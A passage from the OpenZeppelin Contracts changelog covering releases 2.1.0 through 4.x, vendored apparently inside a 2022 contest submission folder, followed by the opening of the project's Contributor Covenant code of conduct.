* `Multicall`: add abstract contract with `multicall(bytes[] calldata data)` function to bundle multiple calls together ([#2608](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2608))
* `ECDSA`: add support for ERC2098 short-signatures. ([#2582](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2582))
* `AccessControl`: add a `onlyRole` modifier to restrict specific function to callers bearing a specific role. ([#2609](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2609))
* `StorageSlot`: add a library for reading and writing primitive types to specific storage slots. ([#2542](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2542))
* UUPS Proxies: add `UUPSUpgradeable` to implement the UUPS proxy pattern together with `EIP1967Proxy`. ([#2542](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2542))
### Breaking changes
This release includes two small breaking changes in `TimelockController`.
1. The `onlyRole` modifier in this contract was designed to let anyone through if the role was granted to `address(0)`,
allowing the possibility to to make a role "open", which can be used for `EXECUTOR_ROLE`. This modifier is now
replaced by `AccessControl.onlyRole`, which does not have this ability. The previous behavior was moved to the
modifier `TimelockController.onlyRoleOrOpenRole`.
2. It was possible to make `PROPOSER_ROLE` an open role (as described in the previous item) if it was granted to
`address(0)`. This would affect the `schedule`, `scheduleBatch`, and `cancel` operations in `TimelockController`.
This ability was removed as it does not make sense to open up the `PROPOSER_ROLE` in the same way that it does for
`EXECUTOR_ROLE`.
## 4.0.0 (2021-03-23)
* Now targeting the 0.8.x line of Solidity compilers. For 0.6.x (resp 0.7.x) support, use version 3.4.0 (resp 3.4.0-solc-0.7) of OpenZeppelin.
* `Context`: making `_msgData` return `bytes calldata` instead of `bytes memory` ([#2492](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2492))
* `ERC20`: removed the `_setDecimals` function and the storage slot associated to decimals. ([#2502](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2502))
* `Strings`: addition of a `toHexString` function. ([#2504](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2504))
* `EnumerableMap`: change implementation to optimize for `key → value` lookups instead of enumeration. ([#2518](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2518))
* `GSN`: deprecate GSNv1 support in favor of upcoming support for GSNv2. ([#2521](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2521))
* `ERC165`: remove uses of storage in the base ERC165 implementation. ERC165 based contracts now use storage-less virtual functions. Old behavior remains available in the `ERC165Storage` extension. ([#2505](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2505))
* `Initializable`: make initializer check stricter during construction. ([#2531](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2531))
* `ERC721`: remove enumerability of tokens from the base implementation. This feature is now provided separately through the `ERC721Enumerable` extension. ([#2511](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2511))
* `AccessControl`: removed enumerability by default for a more lightweight contract. It is now opt-in through `AccessControlEnumerable`. ([#2512](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2512))
* Meta Transactions: add `ERC2771Context` and a `MinimalForwarder` for meta-transactions. ([#2508](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2508))
* Overall reorganization of the contract folder to improve clarity and discoverability. ([#2503](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2503))
* `ERC20Capped`: optimize gas usage by enforcing the check directly in `_mint`. ([#2524](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2524))
* Rename `UpgradeableProxy` to `ERC1967Proxy`. ([#2547](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2547))
* `ERC777`: optimize the gas costs of the constructor. ([#2551](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2551))
* `ERC721URIStorage`: add a new extension that implements the `_setTokenURI` behavior as it was available in 3.4.0. ([#2555](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2555))
* `AccessControl`: added ERC165 interface detection. ([#2562](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2562))
* `ERC1155`: make `uri` public so overloading function can call it using super. ([#2576](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2576))
### Bug fixes for beta releases
* `AccessControlEnumerable`: Fixed `renounceRole` not updating enumerable set of addresses for a role. ([#2572](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2572))
### How to upgrade from 3.x
Since this version has moved a few contracts to different directories, users upgrading from a previous version will need to adjust their import statements. To make this easier, the package includes a script that will migrate import statements automatically. After upgrading to the latest version of the package, run:
```
npx openzeppelin-contracts-migrate-imports
```
Make sure you're using git or another version control system to be able to recover from any potential error in our script.
### How to upgrade from 4.0-beta.x
Some further changes have been done between the different beta iterations. Transitions made during this period are configured in the `migrate-imports` script. Consequently, you can upgrade from any previous 4.0-beta.x version using the same script as described in the *How to upgrade from 3.x* section.
## 3.4.2
* `TimelockController`: Add additional isOperationReady check.
## 3.4.1 (2021-03-03)
* `ERC721`: made `_approve` an internal function (was private).
## 3.4.0 (2021-02-02)
* `BeaconProxy`: added new kind of proxy that allows simultaneous atomic upgrades. ([#2411](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2411))
* `EIP712`: added helpers to verify EIP712 typed data signatures on chain. ([#2418](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2418))
* `ERC20Permit`: added an implementation of the ERC20 permit extension for gasless token approvals. ([#2237](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2237))
* Presets: added token presets with preminted fixed supply `ERC20PresetFixedSupply` and `ERC777PresetFixedSupply`. ([#2399](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2399))
* `Address`: added `functionDelegateCall`, similar to the existing `functionCall`. ([#2333](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2333))
* `Clones`: added a library for deploying EIP 1167 minimal proxies. ([#2449](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2449))
* `Context`: moved from `contracts/GSN` to `contracts/utils`. ([#2453](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2453))
* `PaymentSplitter`: replace usage of `.transfer()` with `Address.sendValue` for improved compatibility with smart wallets. ([#2455](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2455))
* `UpgradeableProxy`: bubble revert reasons from initialization calls. ([#2454](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2454))
* `SafeMath`: fix a memory allocation issue by adding new `SafeMath.tryOp(uint,uint)→(bool,uint)` functions. `SafeMath.op(uint,uint,string)→uint` are now deprecated. ([#2462](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2462))
* `EnumerableMap`: fix a memory allocation issue by adding new `EnumerableMap.tryGet(uint)→(bool,address)` functions. `EnumerableMap.get(uint)→string` is now deprecated. ([#2462](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2462))
* `ERC165Checker`: added batch `getSupportedInterfaces`. ([#2469](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2469))
* `RefundEscrow`: `beneficiaryWithdraw` will forward all available gas to the beneficiary. ([#2480](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2480))
* Many view and pure functions have been made virtual to customize them via overrides. In many cases this will not imply that other functions in the contract will automatically adapt to the overridden definitions. People who wish to override should consult the source code to understand the impact and if they need to override any additional functions to achieve the desired behavior.
### Security Fixes
* `ERC777`: fix potential reentrancy issues for custom extensions to `ERC777`. ([#2483](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2483))
If you're using our implementation of ERC777 from version 3.3.0 or earlier, and you define a custom `_beforeTokenTransfer` function that writes to a storage variable, you may be vulnerable to a reentrancy attack. If you're affected and would like assistance please write to security@openzeppelin.com. [Read more in the pull request.](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2483)
## 3.3.0 (2020-11-26)
* Now supports both Solidity 0.6 and 0.7. Compiling with solc 0.7 will result in warnings. Install the `solc-0.7` tag to compile without warnings.
* `Address`: added `functionStaticCall`, similar to the existing `functionCall`. ([#2333](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2333))
* `TimelockController`: added a contract to augment access control schemes with a delay. ([#2354](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2354))
* `EnumerableSet`: added `Bytes32Set`, for sets of `bytes32`. ([#2395](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2395))
## 3.2.2-solc-0.7 (2020-10-28)
* Resolve warnings introduced by Solidity 0.7.4. ([#2396](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2396))
## 3.2.1-solc-0.7 (2020-09-15)
* `ERC777`: Remove a warning about function state visibility in Solidity 0.7. ([#2327](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2327))
## 3.2.0 (2020-09-10)
### New features
* Proxies: added the proxy contracts from OpenZeppelin SDK. ([#2335](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2335))
#### Proxy changes with respect to OpenZeppelin SDK
Aside from upgrading them from Solidity 0.5 to 0.6, we've changed a few minor things from the proxy contracts as they were found in OpenZeppelin SDK.
- `UpgradeabilityProxy` was renamed to `UpgradeableProxy`.
- `AdminUpgradeabilityProxy` was renamed to `TransparentUpgradeableProxy`.
- `Proxy._willFallback` was renamed to `Proxy._beforeFallback`.
- `UpgradeabilityProxy._setImplementation` and `AdminUpgradeabilityProxy._setAdmin` were made private.
### Improvements
* `Address.isContract`: switched from `extcodehash` to `extcodesize` for less gas usage. ([#2311](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2311))
### Breaking changes
* `ERC20Snapshot`: switched to using `_beforeTokenTransfer` hook instead of overriding ERC20 operations. ([#2312](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2312))
This small change in the way we implemented `ERC20Snapshot` may affect users who are combining this contract with
other ERC20 flavors, since it no longer overrides `_transfer`, `_mint`, and `_burn`. This can result in having to remove Solidity `override(...)` specifiers in derived contracts for these functions, and to instead have to add it for `_beforeTokenTransfer`. See [Using Hooks](https://docs.openzeppelin.com/contracts/3.x/extending-contracts#using-hooks) in the documentation.
## 3.1.0 (2020-06-23)
### New features
* `SafeCast`: added functions to downcast signed integers (e.g. `toInt32`), improving usability of `SignedSafeMath`. ([#2243](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2243))
* `functionCall`: new helpers that replicate Solidity's function call semantics, reducing the need to rely on `call`. ([#2264](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2264))
* `ERC1155`: added support for a base implementation, non-standard extensions and a preset contract. ([#2014](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2014), [#2230](https://github.com/OpenZeppelin/openzeppelin-contracts/issues/2230))
### Improvements
* `ReentrancyGuard`: reduced overhead of using the `nonReentrant` modifier. ([#2171](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2171))
* `AccessControl`: added a `RoleAdminChanged` event to `_setAdminRole`. ([#2214](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2214))
* Made all `public` functions in the token preset contracts `virtual`. ([#2257](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2257))
### Deprecations
* `SafeERC20`: deprecated `safeApprove`. ([#2268](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2268))
## 3.0.2 (2020-06-08)
### Improvements
* Added SPX license identifier to all contracts. ([#2235](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2235))
## 3.0.1 (2020-04-27)
### Bugfixes
* `ERC777`: fixed the `_approve` internal function not validating some of their arguments for non-zero addresses. ([#2213](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2213))
## 3.0.0 (2020-04-20)
### New features
* `AccessControl`: new contract for managing permissions in a system, replacement for `Ownable` and `Roles`. ([#2112](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2112))
* `SafeCast`: new functions to convert to and from signed and unsigned values: `toUint256` and `toInt256`. ([#2123](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2123))
* `EnumerableMap`: a new data structure for key-value pairs (like `mapping`) that can be iterated over. ([#2160](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2160))
### Breaking changes
* `ERC721`: `burn(owner, tokenId)` was removed, use `burn(tokenId)` instead. ([#2125](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2125))
* `ERC721`: `_checkOnERC721Received` was removed. ([#2125](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2125))
* `ERC721`: `_transferFrom` and `_safeTransferFrom` were renamed to `_transfer` and `_safeTransfer`. ([#2162](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2162))
* `Ownable`: removed `_transferOwnership`. ([#2162](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2162))
* `PullPayment`, `Escrow`: `withdrawWithGas` was removed. The old `withdraw` function now forwards all gas. ([#2125](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2125))
* `Roles` was removed, use `AccessControl` as a replacement. ([#2112](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2112))
* `ECDSA`: when receiving an invalid signature, `recover` now reverts instead of returning the zero address. ([#2114](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2114))
* `Create2`: added an `amount` argument to `deploy` for contracts with `payable` constructors. ([#2117](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2117))
* `Pausable`: moved to the `utils` directory. ([#2122](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2122))
* `Strings`: moved to the `utils` directory. ([#2122](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2122))
* `Counters`: moved to the `utils` directory. ([#2122](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2122))
* `SignedSafeMath`: moved to the `math` directory. ([#2122](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2122))
* `ERC20Snapshot`: moved to the `token/ERC20` directory. `snapshot` was changed into an `internal` function. ([#2122](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2122))
* `Ownable`: moved to the `access` directory. ([#2120](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2120))
* `Ownable`: removed `isOwner`. ([#2120](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2120))
* `Secondary`: removed from the library, use `Ownable` instead. ([#2120](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2120))
* `Escrow`, `ConditionalEscrow`, `RefundEscrow`: these now use `Ownable` instead of `Secondary`, their external API changed accordingly. ([#2120](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2120))
* `ERC20`: removed `_burnFrom`. ([#2119](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2119))
* `Address`: removed `toPayable`, use `payable(address)` instead. ([#2133](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2133))
* `ERC777`: `_send`, `_mint` and `_burn` now use the caller as the operator. ([#2134](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2134))
* `ERC777`: removed `_callsTokensToSend` and `_callTokensReceived`. ([#2134](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2134))
* `EnumerableSet`: renamed `get` to `at`. ([#2151](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2151))
* `ERC165Checker`: functions no longer have a leading underscore. ([#2150](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2150))
* `ERC721Metadata`, `ERC721Enumerable`: these contracts were removed, and their functionality merged into `ERC721`. ([#2160](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2160))
* `ERC721`: added a constructor for `name` and `symbol`. ([#2160](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2160))
* `ERC20Detailed`: this contract was removed and its functionality merged into `ERC20`. ([#2161](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2161))
* `ERC20`: added a constructor for `name` and `symbol`. `decimals` now defaults to 18. ([#2161](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2161))
* `Strings`: renamed `fromUint256` to `toString` ([#2188](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2188))
## 2.5.1 (2020-04-24)
### Bugfixes
* `ERC777`: fixed the `_send` and `_approve` internal functions not validating some of their arguments for non-zero addresses. ([#2212](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2212))
## 2.5.0 (2020-02-04)
### New features
* `SafeCast.toUintXX`: new library for integer downcasting, which allows for safe operation on smaller types (e.g. `uint32`) when combined with `SafeMath`. ([#1926](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1926))
* `ERC721Metadata`: added `baseURI`, which can be used for dramatic gas savings when all token URIs share a prefix (e.g. `http://api.myapp.com/tokens/`). ([#1970](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1970))
* `EnumerableSet`: new library for storing enumerable sets of values. Only `AddressSet` is supported in this release. ([#2061](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/2061))
* `Create2`: simple library to make usage of the `CREATE2` opcode easier. ([#1744](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1744))
### Improvements
* `ERC777`: `_burn` is now internal, providing more flexibility and making it easier to create tokens that deflate. ([#1908](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1908))
* `ReentrancyGuard`: greatly improved gas efficiency by using the net gas metering mechanism introduced in the Istanbul hardfork. ([#1992](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1992), [#1996](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1996))
* `ERC777`: improve extensibility by making `_send` and related functions `internal`. ([#2027](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2027))
* `ERC721`: improved revert reason when transferring tokens to a non-recipient contract. ([#2018](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2018))
### Breaking changes
* `ERC165Checker` now requires a minimum Solidity compiler version of 0.5.10. ([#1829](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1829))
## 2.4.0 (2019-10-29)
### New features
* `Address.toPayable`: added a helper to convert between address types without having to resort to low-level casting. ([#1773](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1773))
* Facilities to make metatransaction-enabled contracts through the Gas Station Network. ([#1844](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1844))
* `Address.sendValue`: added a replacement to Solidity's `transfer`, removing the fixed gas stipend. ([#1962](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1962))
* Added replacement for functions that don't forward all gas (which have been deprecated): ([#1976](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1976))
* `PullPayment.withdrawPaymentsWithGas(address payable payee)`
* `Escrow.withdrawWithGas(address payable payee)`
* `SafeMath`: added support for custom error messages to `sub`, `div` and `mod` functions. ([#1828](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1828))
### Improvements
* `Address.isContract`: switched from `extcodesize` to `extcodehash` for less gas usage. ([#1802](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1802))
* `ERC20` and `ERC777` updated to throw custom errors on subtraction overflows. ([#1828](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1828))
### Deprecations
* Deprecated functions that don't forward all gas: ([#1976](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1976))
* `PullPayment.withdrawPayments(address payable payee)`
* `Escrow.withdraw(address payable payee)`
### Breaking changes
* `Address` now requires a minimum Solidity compiler version of 0.5.5. ([#1802](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1802))
* `SignatureBouncer` has been removed from drafts, both to avoid confusions with the GSN and `GSNRecipientSignature` (previously called `GSNBouncerSignature`) and because the API was not very clear. ([#1879](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1879))
### How to upgrade from 2.4.0-beta
The final 2.4.0 release includes a refactor of the GSN contracts that will be a breaking change for 2.4.0-beta users.
* The default empty implementations of `_preRelayedCall` and `_postRelayedCall` were removed and must now be explicitly implemented always in custom recipients. If your custom recipient didn't include an implementation, you can provide an empty one.
* `GSNRecipient`, `GSNBouncerBase`, and `GSNContext` were all merged into `GSNRecipient`.
* `GSNBouncerSignature` and `GSNBouncerERC20Fee` were renamed to `GSNRecipientSignature` and `GSNRecipientERC20Fee`.
* It is no longer necessary to inherit from `GSNRecipient` when using `GSNRecipientSignature` and `GSNRecipientERC20Fee`.
For example, a contract using `GSNBouncerSignature` would have to be changed in the following way.
```diff
-contract MyDapp is GSNRecipient, GSNBouncerSignature {
+contract MyDapp is GSNRecipientSignature {
```
Refer to the table below to adjust your inheritance list.
| 2.4.0-beta | 2.4.0 |
| ---------------------------------- | ---------------------------- |
| `GSNRecipient, GSNBouncerSignature`| `GSNRecipientSignature` |
| `GSNRecipient, GSNBouncerERC20Fee` | `GSNRecipientERC20Fee` |
| `GSNBouncerBase` | `GSNRecipient` |
## 2.3.0 (2019-05-27)
### New features
* `ERC1820`: added support for interacting with the [ERC1820](https://eips.ethereum.org/EIPS/eip-1820) registry contract (`IERC1820Registry`), as well as base contracts that can be registered as implementers there. ([#1677](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1677))
* `ERC777`: support for the [ERC777 token](https://eips.ethereum.org/EIPS/eip-777), which has multiple improvements over `ERC20` (but is backwards compatible with it) such as built-in burning, a more straightforward permission system, and optional sender and receiver hooks on transfer (mandatory for contracts!). ([#1684](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1684))
* All contracts now have revert reason strings, which give insight into error conditions, and help debug failing transactions. ([#1704](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1704))
### Improvements
* Reverted the Solidity version bump done in v2.2.0, setting the minimum compiler version to v0.5.0, to prevent unexpected build breakage. Users are encouraged however to stay on top of new compiler releases, which usually include bugfixes. ([#1729](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1729))
### Bugfixes
* `PostDeliveryCrowdsale`: some validations where skipped when paired with other crowdsale flavors, such as `AllowanceCrowdsale`, or `MintableCrowdsale` and `ERC20Capped`, which could cause buyers to not be able to claim their purchased tokens. ([#1721](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1721))
* `ERC20._transfer`: the `from` argument was allowed to be the zero address, so it was possible to internally trigger a transfer of 0 tokens from the zero address. This address is not a valid destinatary of transfers, nor can it give or receive allowance, so this behavior was inconsistent. It now reverts. ([#1752](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1752))
## 2.2.0 (2019-03-14)
### New features
* `ERC20Snapshot`: create snapshots on demand of the token balances and total supply, to later retrieve and e.g. calculate dividends at a past time. ([#1617](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1617))
* `SafeERC20`: `ERC20` contracts with no return value (i.e. that revert on failure) are now supported. ([#1655](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1655))
* `ERC20`: added internal `_approve(address owner, address spender, uint256 value)`, allowing derived contracts to set the allowance of arbitrary accounts. ([#1609](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1609))
* `ERC20Metadata`: added internal `_setTokenURI(string memory tokenURI)`. ([#1618](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1618))
* `TimedCrowdsale`: added internal `_extendTime(uint256 newClosingTime)` as well as `TimedCrowdsaleExtended(uint256 prevClosingTime, uint256 newClosingTime)` event allowing to extend the crowdsale, as long as it hasn't already closed.
### Improvements
* Upgraded the minimum compiler version to v0.5.2: this removes many Solidity warnings that were false positives. ([#1606](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1606))
* `ECDSA`: `recover` no longer accepts malleable signatures (those using upper-range values for `s`, or 0/1 for `v`). ([#1622](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1622))
* ``ERC721``'s transfers are now more gas efficient due to removal of unnecessary `SafeMath` calls. ([#1610](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1610))
* Fixed variable shadowing issues. ([#1606](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1606))
### Bugfixes
* (minor) `SafeERC20`: `safeApprove` wasn't properly checking for a zero allowance when attempting to set a non-zero allowance. ([#1647](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1647))
### Breaking changes in drafts
* `TokenMetadata` has been renamed to `ERC20Metadata`. ([#1618](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1618))
* The library `Counter` has been renamed to `Counters` and its API has been improved. See an example in `ERC721`, lines [17](https://github.com/OpenZeppelin/openzeppelin-solidity/blob/3cb4a00fce1da76196ac0ac3a0ae9702b99642b5/contracts/token/ERC721/ERC721.sol#L17) and [204](https://github.com/OpenZeppelin/openzeppelin-solidity/blob/3cb4a00fce1da76196ac0ac3a0ae9702b99642b5/contracts/token/ERC721/ERC721.sol#L204). ([#1610](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1610))
## 2.1.3 (2019-02-26)
* Backported `SafeERC20.safeApprove` bugfix. ([#1647](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1647))
## 2.1.2 (2019-01-17)
* Removed most of the test suite from the npm package, except `PublicRole.behavior.js`, which may be useful to users testing their own `Roles`.
## 2.1.1 (2019-01-04)
* Version bump to avoid conflict in the npm registry.
## 2.1.0 (2019-01-04)
### New features
* Now targeting the 0.5.x line of Solidity compilers. For 0.4.24 support, use version 2.0 of OpenZeppelin.
* `WhitelistCrowdsale`: a crowdsale where only whitelisted accounts (`WhitelistedRole`) can purchase tokens. Adding or removing accounts from the whitelist is done by whitelist admins (`WhitelistAdminRole`). Similar to the pre-2.0 `WhitelistedCrowdsale`. ([#1525](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1525), [#1589](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1589))
* `RefundablePostDeliveryCrowdsale`: replacement for `RefundableCrowdsale` (deprecated, see below) where tokens are only granted once the crowdsale ends (if it meets its goal). ([#1543](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1543))
* `PausableCrowdsale`: allows for pausers (`PauserRole`) to pause token purchases. Other crowdsale operations (e.g. withdrawals and refunds, if applicable) are not affected. ([#832](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/832))
* `ERC20`: `transferFrom` and `_burnFrom ` now emit `Approval` events, to represent the token's state comprehensively through events. ([#1524](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1524))
* `ERC721`: added `_burn(uint256 tokenId)`, replacing the similar deprecated function (see below). ([#1550](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1550))
* `ERC721`: added `_tokensOfOwner(address owner)`, allowing to internally retrieve the array of an account's owned tokens. ([#1522](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1522))
* Crowdsales: all constructors are now `public`, meaning it is not necessary to extend these contracts in order to deploy them. The exception is `FinalizableCrowdsale`, since it is meaningless unless extended. ([#1564](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1564))
* `SignedSafeMath`: added overflow-safe operations for signed integers (`int256`). ([#1559](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1559), [#1588](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1588))
### Improvements
* The compiler version required by `Array` was behind the rest of the libray so it was updated to `v0.4.24`. ([#1553](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1553))
* Now conforming to a 4-space indentation code style. ([1508](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1508))
* `ERC20`: more gas efficient due to removed redundant `require`s. ([#1409](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1409))
* `ERC721`: fixed a bug that prevented internal data structures from being properly cleaned, missing potential gas refunds. ([#1539](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1539) and [#1549](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1549))
* `ERC721`: general gas savings on `transferFrom`, `_mint` and `_burn`, due to redudant `require`s and `SSTORE`s. ([#1549](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1549))
### Bugfixes
### Breaking changes
### Deprecations
* `ERC721._burn(address owner, uint256 tokenId)`: due to the `owner` parameter being unnecessary. ([#1550](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1550))
* `RefundableCrowdsale`: due to trading abuse potential on crowdsales that miss their goal. ([#1543](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1543))
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/CODE_OF_CONDUCT.md
================================================
# Contributor Covenant Code of Conduct
## Our Pledge
In the interest of fostering an open and welcoming environment, we as
contributors and maintainers pledge to making participation in our project and
our community a harassment-free experience for everyone, regardless of age, body
size, disability, ethnicity, sex characteristics, gender identity and expression,
level of experience, education, socio-economic status, nationality, personal
appearance, race, religion, or sexual identity and orientation.
## Our Standards
Examples of behavior that contributes to creating a positive environment
include:
* Using welcoming and inclusive language
* Being respectful of differing viewpoints and experiences
* Gracefully accepting constructive criticism
* Focusing on what is best for the community
* Showing empathy towards other community members
Examples of unacceptable behavior by participants include:
* The use of sexualized language or imagery and unwelcome sexual attention or
advances
* Trolling, insulting/derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or electronic
address, without explicit permission
* Other conduct which could reasonably be considered inappropriate in a
professional setting
## Our Responsibilities
Project maintainers are responsible for clarifying the standards of acceptable
behavior and are expected to take appropriate and fair corrective action in
response to any instances of unacceptable behavior.
Project maintainers have the right and responsibility to remove, edit, or
reject comments, commits, code, wiki edits, issues, and other contributions
that are not aligned to this Code of Conduct, or to ban temporarily or
permanently any contributor for other behaviors that they deem inappropriate,
threatening, offensive, or harmful.
## Scope
This Code of Conduct applies both within project spaces and in public spaces
when an individual is representing the project or its community. Examples of
representing a project or community include using an official project e-mail
address, posting via an official social media account, or acting as an appointed
representative at an online or offline event. Representation of a project may be
further defined and clarified by project maintainers.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported by contacting the project team at maintainers@openzeppelin.org. All
complaints will be reviewed and investigated and will result in a response that
is deemed necessary and appropriate to the circumstances. The project team is
obligated to maintain confidentiality with regard to the reporter of an incident.
Further details of specific enforcement policies may be posted separately.
Project maintainers who do not follow or enforce the Code of Conduct in good
faith may face temporary or permanent repercussions as determined by other
members of the project's leadership.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
